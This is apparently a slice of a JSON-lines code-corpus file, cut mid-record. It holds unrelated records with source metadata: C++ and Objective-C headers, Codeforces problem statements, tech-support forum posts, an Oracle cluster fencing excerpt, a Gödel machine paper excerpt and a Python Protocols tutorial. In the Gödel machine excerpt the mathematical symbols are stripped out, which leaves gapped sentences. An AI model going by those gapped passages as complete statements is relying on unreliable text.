DISTRIBUTING THE SOFTWARE BE LIABLE\n// FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,\n// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n//\n\n\n#ifndef Data_SessionImpl_INCLUDED\n#define Data_SessionImpl_INCLUDED\n\n\n#include \"Poco/Data/Data.h\"\n#include \"Poco/RefCountedObject.h\"\n#include \"Poco/Any.h\"\n\n\nnamespace Poco {\nnamespace Data {\n\n\nclass StatementImpl;\n\n\nclass Data_API SessionImpl: public Poco::RefCountedObject\n\t/// Interface for Session functionality that subclasses must extend. \n\t/// SessionImpl objects are noncopyable.\n{\npublic:\n\tSessionImpl();\n\t\t/// Creates the SessionImpl.\n\n\tvirtual ~SessionImpl();\n\t\t/// Destroys the SessionImpl.\n\n\tvirtual StatementImpl* createStatementImpl() = 0;\n\t\t/// Creates a StatementImpl.\n\n\tvirtual void begin() = 0;\n\t\t/// Starts a transaction.\n\n\tvirtual void commit() = 0;\n\t\t/// Commits and ends a transaction.\n\n\tvirtual void rollback() = 0;\n\t\t/// Aborts a transaction.\n\t\t\n\tvirtual void close() = 0;\n\t\t/// Closes the connection.\n\n\tvirtual bool isConnected() = 0;\n\t\t/// Returns true iff session is connected, false otherwise.\n\n\tvirtual bool isTransaction() = 0;\n\t\t/// Returns true iff a transaction is a transaction is in progress, false otherwise.\n\n\tvirtual void setFeature(const std::string& name, bool state) = 0;\n\t\t/// Set the state of a feature.\n\t\t///\n\t\t/// Features are a generic extension mechanism for session implementations.\n\t\t/// and are defined by the underlying SessionImpl instance.\n\t\t///\n\t\t/// Throws a NotSupportedException if the requested feature is\n\t\t/// not supported by the underlying implementation.\n\t\n\tvirtual bool getFeature(const std::string& name) = 0;\n\t\t/// Look up the state of a feature.\n\t\t///\n\t\t/// Features are a generic extension mechanism for session implementations.\n\t\t/// and are defined by the underlying SessionImpl instance.\n\t\t///\n\t\t/// Throws a NotSupportedException if the requested feature is\n\t\t/// not supported by the underlying implementation.\n\n\tvirtual void setProperty(const std::string& name, const Poco::Any& value) = 0;\n\t\t/// Set the value of a property.\n\t\t///\n\t\t/// Properties are a generic extension mechanism for session implementations.\n\t\t/// and are defined by the underlying SessionImpl instance.\n\t\t///\n\t\t/// Throws a NotSupportedException if the requested property is\n\t\t/// not supported by the underlying implementation.\n\n\tvirtual Poco::Any getProperty(const std::string& name) = 0;\n\t\t/// Look up the value of a property.\n\t\t///\n\t\t/// Properties are a generic extension mechanism for session implementations.\n\t\t/// and are defined by the underlying SessionImpl instance.\n\t\t///\n\t\t/// Throws a NotSupportedException if the requested property is\n\t\t/// not supported by the underlying implementation.\n\nprivate:\n\tSessionImpl(const SessionImpl&);\n\tSessionImpl& operator = (const SessionImpl&);\n};\n\n\n} } // namespace Poco::Data\n\n\n#endif // Data_SessionImpl_INCLUDED", "source": "cpt_stack_code", "language": "code", "token_count": 1047, "token_count_with_eod": 1048, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There are $$$n$$$ people, numbered from $$$1$$$ to $$$n$$$, sitting at a round table. Person $$$i+1$$$ is sitting to the right of person $$$i$$$ (with person $$$1$$$ sitting to the right of person $$$n$$$).\n\nYou have come up with a better seating arrangement, which is given as a permutation $$$p_1, p_2, \\dots, p_n$$$. More specifically, you want to change the seats of the people so that at the end person $$$p_{i+1}$$$ is sitting to the right of person $$$p_i$$$ (with person $$$p_1$$$ sitting to the right of person $$$p_n$$$). Notice that for each seating arrangement there are $$$n$$$ permutations that describe it (which can be obtained by rotations).\n\nIn order to achieve that, you can swap two people sitting at adjacent places; but there is a catch: for all $$$1 \\le x \\le n-1$$$ you cannot swap person $$$x$$$ and person $$$x+1$$$ (notice that you can swap person $$$n$$$ and person $$$1$$$). What is the minimum number of swaps necessary? It can be proven that any arrangement can be achieved.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is an interactive problem.\n\nNote: the XOR-sum of an array $$$a_1, a_2, \\ldots, a_n$$$ ($$$1 \\le a_i \\le 10^9$$$) is defined as $$$a_1 \\oplus a_2 \\oplus \\ldots \\oplus a_n$$$, where $$$\\oplus$$$ denotes the bitwise XOR operation.\n\nLittle Dormi received an array of $$$n$$$ integers $$$a_1, a_2, \\ldots, a_n$$$ for Christmas. However, while playing with it over the winter break, he accidentally dropped it into his XOR machine, and the array got lost.\n\nThe XOR machine is currently configured with a query size of $$$k$$$ (which you cannot change), and allows you to perform the following type of query: by giving the machine $$$k$$$ distinct indices $$$x_1, x_2, \\ldots, x_k$$$, it will output $$$a_{x_1} \\oplus a_{x_2} \\oplus \\ldots \\oplus a_{x_k}$$$.\n\nAs Little Dormi's older brother, you would like to help him recover the XOR-sum of his array $$$a_1, a_2, \\ldots, a_n$$$ by querying the XOR machine.\n\nLittle Dormi isn't very patient, so to be as fast as possible, you must query the XOR machine the minimum number of times to find the XOR-sum of his array. Formally, let $$$d$$$ be the minimum number of queries needed to find the XOR-sum of any array of length $$$n$$$ with a query size of $$$k$$$. Your program will be accepted if you find the correct XOR-sum in at most $$$d$$$ queries.\n\nLastly, you also noticed that with certain configurations of the machine $$$k$$$ and values of $$$n$$$, it may not be possible to recover the XOR-sum of Little Dormi's lost array. If that is the case, you should report it as well.\n\nThe array $$$a_1, a_2, \\ldots, a_n$$$ is fixed before you start querying the XOR machine and does not change with the queries.", "source": "cpt_codeforces", "language": "en", "token_count": 462, "token_count_with_eod": 463, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The following example describes the content of the ROP request buffer and ROP response buffer for a successful RopDeleteMessages operation, as described in [MS-OXCROPS] section 188.8.131.52. In this example, a folder contains two messages for which the message ID values are passed in the ROP.\nWas this page helpful?\nYour feedback about this content is important. Let us know what you think.\n1500 characters remaining\nWe appreciate your feedback.\nHave a suggestion to improve MSDN Library?\nVisit our UserVoice Page to submit and vote on ideas!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "hi, I have a text file that has user submitted data in the following format:\nbasically all the lines have some data that are separated by semicolon so that I can import them into Excel. However, it turns out that some of the lines are of the following format:\ni.e. there can be multiple blank lines in between the 'components' of line x.\nI want a perl script that reads the file and combines the 'components' of lines that resemble line x to what lines 1, 2 and 3 look like. i.e.\nso at the end, my file should look like following:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  CachingDiskHandler.h\n//  Pods\n//\n//  Created by Prabodh Prakash on 04/09/15.\n//\n//\n\n#import <Foundation/Foundation.h>\n#import \"Node.h\"\n#import \"BaseCache.h\"\n\n/*!\n It inherits from BaseCache and is used to save data to disk.\n */\n@interface CachingDiskHandler : BaseCache\n\n/*!\n The path at which data must be stored.\n */\n@property (nonatomic, copy) NSString* filePath;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 115, "token_count_with_eod": 116, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "// Copyright (c) 2010 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef NET_BASE_ADDRESS_LIST_NET_LOG_PARAM_H_\n#define NET_BASE_ADDRESS_LIST_NET_LOG_PARAM_H_\n#pragma once\n\n#include \"net/base/address_list.h\"\n#include \"net/base/net_log.h\"\n\nnamespace net {\n\n// NetLog parameter to describe an address list.\n// Note that AddressList uses ref-counted data, so this doesn't introduce\n// much of a memory overhead.\nclass AddressListNetLogParam : public NetLog::EventParameters {\n public:\n  explicit AddressListNetLogParam(const AddressList& address_list);\n\n  virtual Value* ToValue() const;\n\n private:\n  AddressList address_list_;\n};\n\n}  // namespace net\n\n#endif  // NET_BASE_ADDRESS_LIST_NET_LOG_PARAM_H_", "source": "cpt_stack_code", "language": "code", "token_count": 200, "token_count_with_eod": 201, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "For an array $$$b_1, b_2, \\ldots, b_m$$$, for some $$$i$$$ ($$$1 < i < m$$$), element $$$b_i$$$ is said to be a local minimum if $$$b_i < b_{i-1}$$$ and $$$b_i < b_{i+1}$$$. Element $$$b_1$$$ is said to be a local minimum if $$$b_1 < b_2$$$. Element $$$b_m$$$ is said to be a local minimum if $$$b_m < b_{m-1}$$$.\n\nFor an array $$$b_1, b_2, \\ldots, b_m$$$, for some $$$i$$$ ($$$1 < i < m$$$), element $$$b_i$$$ is said to be a local maximum if $$$b_i > b_{i-1}$$$ and $$$b_i > b_{i+1}$$$. Element $$$b_1$$$ is said to be a local maximum if $$$b_1 > b_2$$$. Element $$$b_m$$$ is said to be a local maximum if $$$b_m > b_{m-1}$$$.\n\nLet $$$x$$$ be an array of distinct elements. We define two operations on it:\n\n- $$$1$$$ — delete all elements from $$$x$$$ that are not local minima.\n- $$$2$$$ — delete all elements from $$$x$$$ that are not local maxima.\n\nDefine $$$f(x)$$$ as follows. Repeat operations $$$1, 2, 1, 2, \\ldots$$$ in that order until you get only one element left in the array. Return that element.\n\nFor example, take an array $$$[1,3,2]$$$. We will first do type $$$1$$$ operation and get $$$[1, 2]$$$. Then we will perform type $$$2$$$ operation and get $$$[2]$$$. Therefore, $$$f([1,3,2]) = 2$$$.\n\nYou are given a permutation$$$^\\dagger$$$ $$$a$$$ of size $$$n$$$ and $$$q$$$ queries. Each query consists of two integers $$$l$$$ and $$$r$$$ such that $$$1 \\le l \\le r \\le n$$$. The query asks you to compute $$$f([a_l, a_{l+1}, \\ldots, a_r])$$$.\n\n$$$^\\dagger$$$ A permutation of length $$$n$$$ is an array of $$$n$$$ distinct integers from $$$1$$$ to $$$n$$$ in arbitrary order. For example, $$$[2,3,1,5,4]$$$ is a permutation, but $$$[1,2,2]$$$ is not a permutation ($$$2$$$ appears twice in the array), and $$$[1,3,4]$$$ is also not a permutation ($$$n=3$$$, but there is $$$4$$$ in the array).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Here is a sticky one for you. I upgraded my main XP PRO system to XP2 last year I noticed I had lost audio but did nothing about it as I do not use Audio in normal use. On my return from the USA last week I wanted to put skype on the system which is an ECS K7S5A M/board with an ATHLON 1800XP,\nThis has a Realtek AC97 inbuilt sound chip. The drivers install fine no nasty yellow triangles but no sound and no Realtek audio device shown in Sounds and Audio devices/Audio . The only audio device shown is the built in Modem. I put in a Creative SB Live 5.1 which installed without trouble but shows fine in Control panel /Hardware Devices but does not work. I tried all combinations of the three audio devices but none would work either singly or together. Investigating control panel/Device Manager/ Hardware/Sound Vid game Contrlrs I came to a box Creative SB live Mixer properties which had a message \"driver enabled but not started\" The Realtek AC 97 device had the same message The one device that shows in Control Panel /Sounds and Audio is the modem and that has a message in properties that says \"Status river is enabled and functioning properly\".", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "One day, the Grasshopper was jumping on the lawn and found a piece of paper with a string. Grasshopper became interested what is the minimum jump ability he should have in order to be able to reach the far end of the string, jumping only on vowels of the English alphabet. Jump ability is the maximum possible length of his jump.\n\nFormally, consider that at the begginning the Grasshopper is located directly in front of the leftmost character of the string. His goal is to reach the position right after the rightmost character of the string. In one jump the Grasshopper could jump to the right any distance from 1 to the value of his jump ability.\n\nThe picture corresponds to the first example.\n\nThe following letters are vowels: 'A', 'E', 'I', 'O', 'U' and 'Y'.", "source": "cpt_codeforces", "language": "en", "token_count": 176, "token_count_with_eod": 177, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I was wondering if anyone knew of a company or even a person who could analyze a pdf for me and confirm that my sig has been overlayed. It seems to me after I have signed and they took it away with them they added a new clause and then overlayed my sig. They have finally now after many requests sent it to me via email as a pdf. I have the same abode platform as them and it seems they have sent it to me straight after they have worked on it as I can see all the image inlays including my sig which they have tried their best with but being on a hidglighted back ground seems to be their undoing.\nI happy for anyone with a little knowladge on this sort of thing to have a look at it and your advise would be appreciated ....thanks in adavance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This can be done by an advanced programmer *********\nI have the data in html format saved in text files sized around 50mb or more. I’m looking for a solution scrape that into excel file for the columns I am going to ask.\nYou can use any type of programming like python, java, php, .net etc\nI need a person for ongoing assistance...\n47 freelancers are bidding on average $118 for this job\nHi there, I am java developer. This looks an easy job for me. I have made lots of similar data conversion projects for html, csv, json, pdf, excel and more. Message me, we can discuss over chat.\nHi I have experience in handling huge data , Please come over chat to discuss more on it. If the html data is structured the work will be finished in a day or 2 otherwise 3 days max. Thanks\nHello! I am a python developer. I looked at your project and it seems interesting. I have all necessary skills required for this project. Ping me to discuss in detail.\nHello Sir, We are expert in java we will collect all data and will make it into excel as you like. Please ping me we will do it in 1-2 days. We can start right now. Thanks\nhi , i have +7 years experience in develop with asp.net , core , c# ,sql,, excel i can do this job for you in 3 days if you want please text me thank you\nHi I can help you with the task with beautiful soup parser in python. Please let me know if interested and so that i can clarify some doubts and start the work.; Thanks", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 345, "token_count_with_eod": 346, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an excerpt from the bestselling book\nOracle Grid & Real Application Clusters. To get immediate\naccess to the code depot of working RAC scripts, buy it\ndirectly from the publisher and save more than 30%.\nIt is reasonable to expect that\nserver components are prone to failures. It is the responsibility of\nthe cluster to detect and monitor and stabilize the application\nrunning on the cluster. Clusters Systems are geared to handle\npeculiar situations like Amnesia and Split Brain conditions.\nAmnesia occurs when the cluster\nrestarts after a shutdown with cluster data older than at the time\nof the shutdown. This can happen if multiple versions of the\nframework data are stored on disk and a new incarnation of the\ncluster is started when the latest version is not available.\nSplit Brain Condition occurs\nwhen a single cluster has a failure that results in reconfiguration\nof cluster into multiple partitions, with each partition forming its\nown sub-cluster without the knowledge of the existence of other.\nThis would lead to collision and corruption of shared data as each\nsub-cluster assumes ownership of shared data.\nAs an example, when two systems\nhave access to the shared storage, integrity of the data depends on\nthe systems communication through heartbeats using the private\ninterconnects. When the private links are lost and failed or if one\nof the systems is hung or too busy to send/receive heartbeats, each\nsystem thinks the other system has exited the cluster, then it tries\nto become the master or form a sub-cluster and claim exclusive\naccess to the shared storage. This condition leads to Split Brain.\nThere are definite methods, also\nknown as fencing, to avoid such a tricky and undesirable situation.\nThe two basic approaches to fencing are resource based fencing and\nsystem reset or STOMITH or STONITH fencing.\nResource-based fencing includes\nI/O fencing and the maintenance of Quorum disks. In resource-based\nfencing, a hardware mechanism is employed, which immediately\ndisables or disallows access to shared resources. If the shared\nresource is a SCSI disk or disk array, one can use SCSI\nreserve/release or better yet persistent reserve/release operations.\nIf the shared resource is a fiber channel disk or disk array, then\none can instruct a fiber channel switch to deny the problem node\naccess to shared resources. In general, the errant node itself is\nleft undisturbed, and its resources are instructed to deny access to\nit. If the node is able to later become part of a cluster with\nquorum, it will then go through the normal channels to reacquire its\nSTOMITH stands for Shoot the\nOther Machine in the Head. STOMITH fencing takes a completely\ndifferent approach. In STOMITH systems, the errant cluster node is\nsimply reset and forced to reboot. When it rejoins the cluster it\nacquires resources in the normal way. In many cases, STOMITH\noperations are performed via smart power switches, which simply\nremove power from the errant node for a brief period of time.\nHowever, implementation of\nprocesses to avoid split brain varies from vendor to vendor, and\nalso depends on the type of shared storage in use for the cluster.\nFor example, Sun Cluster avoids split brain by using the majority\nvote principle coupled with quorum disks and Linux cluster using\nPolyserve Matrix Server employs fabric fencing. The next section\nexamines these techniques in detail.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 718, "token_count_with_eod": 719, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am located in Sydney, Australia and my web server runs on an AWS EC2 Ubuntu 16.04 LTS instance in the Sydney region. I moved my domain to Cloudflare yesterday.\nWhen I browse to this URL (http://www.example.com/cdn-cgi/trace), I find that traffic is currently being routed to Singapore instead of Cloudflare’s datacenter in Sydney. I did replace “example.com” with my domain.\nIs this normal? I understand Cloudflare’s network is Anycast.\nuag=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 163, "token_count_with_eod": 164, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In 1931 Kurt Gödel used elementary arithmetics to build a universal programming language for encoding arbitrary proofs, given an arbitrary enumerable set of axioms. He went on to construct self-referential formal statements that claim their own unprovability, using Cantor's diagonalization trick  to demonstrate that formal systems such as traditional mathematics are either flawed in a certain sense or contain unprovable but true statements .\nSince Gödel's exhibition of the fundamental limits of proof and computation, and Konrad Zuse's subsequent construction of the first working programmable computer (1935-1941), there has been a lot of work on specialized algorithms solving problems taken from more or less general problem classes. Apparently, however, one remarkable fact has so far escaped the attention of computer scientists: it is possible to use self-referential proof systems to build optimally efficient yet conceptually very simple universal problem solvers.\nMany traditional problems of computer science require just one problem-defining input at the beginning of the problem solving process. For example, the initial input may be a large integer, and the goal may be to factorize it. In what follows, however, we will also consider the more general case where the problem solution requires interaction with a dynamic, initially unknown environment that produces a continual stream of inputs and feedback signals, such as in autonomous robot control tasks, where the goal may be to maximize expected cumulative future reward  (examples in Section 3.2). This may require the solution of essentially arbitrary problems.\nNeither Levin's universal search  nor its incremental extension, the Optimal Ordered Problem Solver [38,40], nor Solomonoff's recent ideas  are `universal enough' for such general setups, and our earlier self-modifying online learning systems [29,32,44,43,45] are not necessarily optimal. Hutter's recent AIXI model  does execute optimal actions in very general environments evolving according to arbitrary, unknown, yet computable probabilistic laws, but only under the unrealistic assumption of unlimited computation time. AIXI's asymptotically optimal, space/time-bounded cousin AIXI  may be the system conceptually closest to the one pesented here. In discrete cycle of AIXI's lifetime, action results in perception and reward , where all quantities may depend on the complete history. Using a universal computer such as a Turing machine , AIXI needs an initial offline setup phase (prior to interaction with the environment) to examine all proofs of length at most , filtering out those that identify programs (of maximal size and maximal runtime per cycle) which not only could interact with the environment but which for all possible interaction histories also correctly predict a lower bound of their own expected reward. In cycle , AIXI then runs all programs identified in the setup phase (at most ), finds the one with highest self-rating, and executes its corresponding action. The problem-independent setup time (where almost all of the work is done) is , and the online computation time per cycle is . AIXI is related to Hutter's `fastest' algorithm for all well-defined problems (HSEARCH ) which also uses a general proof searcher, and also is asymptotically optimal in a certain sense. Assume discrete input/output domains , a formal problem specification (say, a functional description of how integers are decomposed into their prime factors), and a particular (say, an integer to be factorized). HSEARCH orders all proofs of an appropriate axiomatic system by size to find programs that for all provably compute within time bound . Simultaneously it spends most of its time on executing the with the best currently proven time bound . It turns out that HSEARCH is as fast as the fastest algorithm that provably computes for all , save for a constant factor smaller than (arbitrary ) and an -specific but -independent additive constant . That is, HSEARCH and AIXI boast an optimal order of complexity. This somewhat limited notion of optimality, however, can be misleading despite its wide use in theoretical computer science, as it hides the possibly huge but problem-independent constants which could make AIXI and HSEARCH practically infeasible.\nOur novel Gödel machine1derives its name and its power from exploiting provably useful changes of any part of its own code in self-referential fashion. Its theoretical advantages over previous approaches can be traced back to the fact that its notion of optimality is less restricted and that it has no unmodifiable software at all. Its bootstrap mechanism is based on a simple idea. We provide it with an axiomatic description of (possibly stochastic) environmental properties and of its goals and means. The latter not only include some initial problem soving strategy but also a systematic proof searcher seeking an algorithm for modifying the current Gödel machine together with a formal proof that the execution of this algorithm will improve the Gödel machine, according to some utility function or optimality criterion represented as part of the goals. In particular, utility may take into account expected computational costs of proof searching and other actions, to be derived from the axioms. The self-improvement strategy is not `greedy': assuming consistency of the axiomatic system, some self-improvement's usefulness will be provable only if it can be shown that the current proof searcher will not find an even better self-improvement sufficiently quickly. In this sense any executed self-improvement will be globally optimal--it will be the best of all possible relevant self-improvements, relative to the given resource limitations and the initial proof search strategy.\nUnlike AIXI and HSEARCH, the Gödel machine can improve the proof searcher itself. Unlike HSEARCH it does not waste time on finding programs that provably compute for all when the current is the only object of interest. While the hardwired brute force theorem provers of AIXI and HSEARCH systematically search in raw proof space--they can hide the proof search cost (exponential in proof size) in their asymptotic optimality notation [16,15]--the initial, not yet self-improved Gödel machine already produces many proofs much faster as it searches among online proof techniques: proof-generating programs that may read the Gödel machine's current state. Hence, unlike AIXI, the Gödel machine can profit from online proof search which may exploit information obtained through interaction with the environment.\nThis approach raises several unconventional issues concerning the connection between syntax and semantics though. Proofs are just symbol strings produced from other symbol strings according to certain syntactic rules. Such a symbol string, however, may be interpreted in online fashion as a statement about the computational costs of the program that computes it (a semantic issue), and may suggest a Gödel machine-modifying algorithm whose execution would be semantically useful right now as the proof is being created. The proof searcher must deal with the fact that the utility of certain self-modifications may depend on the remaining lifetime, and with the problem of producing the right proof at the right time.\nSection 2 will formally describe details of a particular Gödel machine, focusing on its novel aspects, skipping over well-known standard issues treated by any proof theory textbook. Section 2.2.1 will introduce the essential instructions invoked by proof techniques to compute axioms and theorems and to relate syntax to semantics. Section 2.3 will describe one possible initialization of the Gödel machine's proof searcher: Bias-Optimal Proof Search (BIOPS) uses a variant of the already mentioned Optimal Ordered Problem Solver OOPS [38,40] to efficiently search the space of proof techniques. Section 3 will discuss the Gödel machine's limitations, possible types of self-improvements, and additional differences from previous work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1589, "token_count_with_eod": 1590, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm experiencing packet loss when trying to play online. But support is saying that everything is ok.\nHere is my uotrace log:\nHost Name IP Address Hop Ping Time Ping Avg % Loss Pkts r/s Ping best/worst\n* Unknown Host * 192.168.0.1 1 1ms 1ms 0% 101 / 101 1ms / 2ms\n* Unknown Host * 220.127.116.11 2 9ms 9ms 1% 99 / 101 7ms / 24ms\nbe-10007-rur01.santaclara.ca.sfba.comcast.net 18.104.22.168 3 8ms 9ms 1% 99 / 101 7ms / 25ms\nbe-232-rar01.santaclara.ca.sfba.comcast.net 22.214.171.124 4 9ms 10ms 3% 97 / 101 8ms / 27ms\nbe-299-ar01.santaclara.ca.sfba.comcast.net 126.96.36.199 5 10ms 13ms 2% 98 / 101 8ms / 201ms\n* Unknown Host * 188.8.131.52 6 10ms 11ms 3% 97 / 101 9ms / 32ms\n* Unknown Host * 0.0.0.0 7 0ms\n* Unknown Host * 0.0.0.0 8 0ms\n* Unknown Host * 184.108.40.206 9 80ms 81ms 2% 98 / 101 79ms / 96ms\n* Unknown Host * 220.127.116.11 10 77ms 76ms 2% 98 / 101 73ms / 95ms\n* Unknown Host * 18.104.22.168 11 75ms 77ms 2% 98 / 101 74ms / 144ms\neaso.ea.com 22.214.171.124 12 74ms 75ms 0% 100 / 100 74ms / 93ms\nMy connection is hardwired to router+modem(almost new netgear c6250), reboot & factory reset do nothing I'm seeing packet loss all the time. Here is modem stats:\nIt's not a game issue because switching to tethering from a mobile phone internet shows no packet loss at all:\nThe game is absolutely unplayable with such packet loss. Is there any way to fix this issue?\nSo I've bought Arris SB6190 tried wired - still packet loss, changed it on Motorola mb7621 tried wired - still packet loss. Last test couple of minutes ago:\nI have connection stated as 75/5 but here are my speed test results:\nDid you ever get help from xfinity on this? I have the same issues in Memphis. They literally put advertisements on Facebook for gamers but they can't resolve packet loss issues. It's beyond a joke at this point that this company is so incompetent.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "For the game of Master Mind it has been proven that no more than five moves are required in the worst case.\nOne such algorithm was published in the Journal of Recreational Mathematics; in '70 or '71 (I think), which always solved the 4 peg problem in 5 moves. Knuth later published an algorithm which solves the problem in a shorter number of moves - on average - but can take six guesses on certain combinations.\nIn 1994, Kenji Koyama and Tony W. Lai found, by exhaustive search that is the optimal strategy in the expected case. This strategy may take six guesses in the worst case. A strategy that uses at most five guesses in the worst case is also shown. This strategy requires guesses.\nDonald E. Knuth. The Computer as Master Mind. J. Recreational Mathematics, 9 (1976-77), 1-6.\nKenji Koyama, Tony W. Lai. An optimal Mastermind Strategy. J. Recreational Mathematics, 1994.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 224, "token_count_with_eod": 225, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tags / university of utah\nReimagine Symposium Banner A thing for a thing. Promoting an environmental symposium in Montana. View @2x!\nHumanities Tattoo This is part of a fun project I did as part of a promotional campaign for the College of Humanities at the University of Utah. We will be using thi...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 68, "token_count_with_eod": 69, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "was a Pilot Project that aimed to implement an integrated\ncoastal zone management system in the Adriatic\nSea, consisting of a predictive circulation module and a river\nbasin and wastewater management module. The aim was the prediction of coastal\ncurrent variability in Near Real Time (NRT), and the monitoring and modeling\nof a river basin and wastewater system in a test site.\nThis Project involves directly\nthree Nations bordering the Northern Adriatic Sea (Italy, Slovenia\nand Croatia) and French institutions.\nThis project is supported by\nthe Italian Ministry for the Environment\nand Territory (Department\nfor Global Environment, International and Regional Conventions).\nProject leader: INGV\n(Istituto Nazionale di Geofisica e Vulcanologia)\nScientific Co-ordinator: Prof. Nadia Pinardi\n(University of Bologna, Italy)\nProject Manager: Dr. Sergio\nCastellari (INGV, Rome, Italy)\nOGS - Istituto\nNazionale di Oceanografia e di Geofisica Sperimentale, Trieste\nis acting as partner 9 (P9).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Let's write all the positive integer numbers one after another from $$$1$$$ without any delimiters (i.e. as a single string). It will be the infinite sequence starting with 123456789101112131415161718192021222324252627282930313233343536...\n\nYour task is to print the $$$k$$$-th digit of this sequence.", "source": "cpt_codeforces", "language": "en", "token_count": 118, "token_count_with_eod": 119, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In recent years, Python has grown significantly as a programming language. In order to meet expectations of modern web developers and data engineers, it has introduced necessary solutions and advanced implementations to become even more flexible than ever before. But little did we know that Python still keeps many of its precious gems out of sight. In this article I would like to promote one of them, a healthy alternative to Abstract Base Classes (ABC) and inheritance – Protocols, which is not as new a concept as one would imagine.\nAbstract Base Class (ABC) example\nPython implements class inheritance in its own way. The dedicated module\nabc allows creating abstract classes and declaring abstract methods to organize structure for our data models within the project. To show its capabilities, in the following example, we have created a simple service to organize a “Home Zoo”. The structure of the files is the following:\nanimal.py we keep our simple\nAnimal parent class with two abstract methods. We inherit from it in\nCat classes kept in the\nImplemented child classes are the following:\nBoth child classes inherit directly from the\nAnimal parent class, implementing both of its methods. Next, we have a\nfeeding.py file where a simple function\nfeeding_time() takes an\nAnimal instance as a parameter and runs the\nfeed() method declared in a class.\nservice.py we have created our service class for a home zoo:\nHomeZooService keeps the register of\nAnimal abstract class instances as well as allows adding new animals. Any class that inherits from the parent\nAnimal class and implements all of its methods might be used and stored within our service. To present how it works, let us take a look at the\nObjects provided to\nHomeZooService are the child classes of the\nAnimal parent class. The result of running\nmain() function is following:\nAs one could imagine, everything works properly since overridden methods in child classes were executed. The solution proposed in this example seems elegant, yet simple and straightforward. Creation of parent and child classes structure looks perfectly fine.\nThe advantage of defining abstract classes is that we create a blueprint of a common interface, in this case the interface is a set of methods. Therefore, all child classes must implement mentioned functions. This allows us to take advantage of the polymorphism mechanism and program other parts of code to an interface not an implementation. Thanks to that we are able to store and use any child class (e.g.\nDog), while defining our input as an instance of the parent class (in our case:\nThere are a few problems, though, that someone curious may point out. Firstly, removing any of the overridden methods in child classes will instantaneously cause trouble. Besides IDE warnings, we will not be able to instantiate any new object:\nThis creates some issues as our child classes are much dependent on the parent class. On one hand, this is just what we wanted in the first place – straightforward inheritance, on the other hand, we strengthened coupling in our code, making classes, objects and methods more dependent on each other. Python interpreter has created a relation between parent and child classes based on inheritance stated in the definition of\nDog and it sees that it does not implement all necessary methods at the moment of object instantiating, thus executing our code will throw a following error:\nAnimal class import is required in most of the files, including children classes. It is not a terrible mistake, but it strengthens the dependency between different parts in the code.\nLast and probably most critical issue is the fact that each part of the code requires a specified interface as an input. For instance, the function\nfeeding_time() only uses the\nfeed() method of the\nAnimal class but right now it has to accept the whole object as a parameter. Our example is fairly simple, but imagine that the parent class implements more than 10 methods – most of the functionalities provided in the input interface (the\nAnimal object) would basically become redundant in the scope of this function. We could potentially separate\nAnimal into smaller classes but it would unnecessarily complicate our code design. Also, multiple inheritance is rarely a good idea, especially in such simple applications.\nLuckily, there is a way to solve these issues as well as organize and simplify our code, reduce coupling and loose dependencies in existing files. The solution is called “Protocols”.\nProtocols are not a new concept, even in Python. Introduced in version 3.8 as an alternative to Abstract Base Classes, they rely on structural typing. In this mechanism, Python interpreter checks the structure of the object (its methods, attributes etc.) to determine whether it can be used in a specific function/class and the types match. This strategy, based on comparing objects and checking their types, has a specific name in dynamically typed languages (such as Python): duck typing. It follows a very simple rule:\n| If it walks like a duck and it quacks like a duck, then it must be a duck.\nIt means that if two objects have the same methods and attributes, Python will treat them as the same type. For comparison, ABCs use nominal typing, where object relationship is defined by inheritance stated deliberately in our class definition (e.g.\nProtocols are, therefore, interfaces which help define what is expected as an input of our methods. Hopefully, by using them we might be able to avoid problems mentioned before and improve our code design.\nSo, let us make a few changes to the\nAnimal parent class. This time we will be using Python’s inbuilt\nThe code has not changed all that much. We remove the\nabc package link and still keep our methods, but this time we write\n... instead of the implementation which is a standardized Protocols method 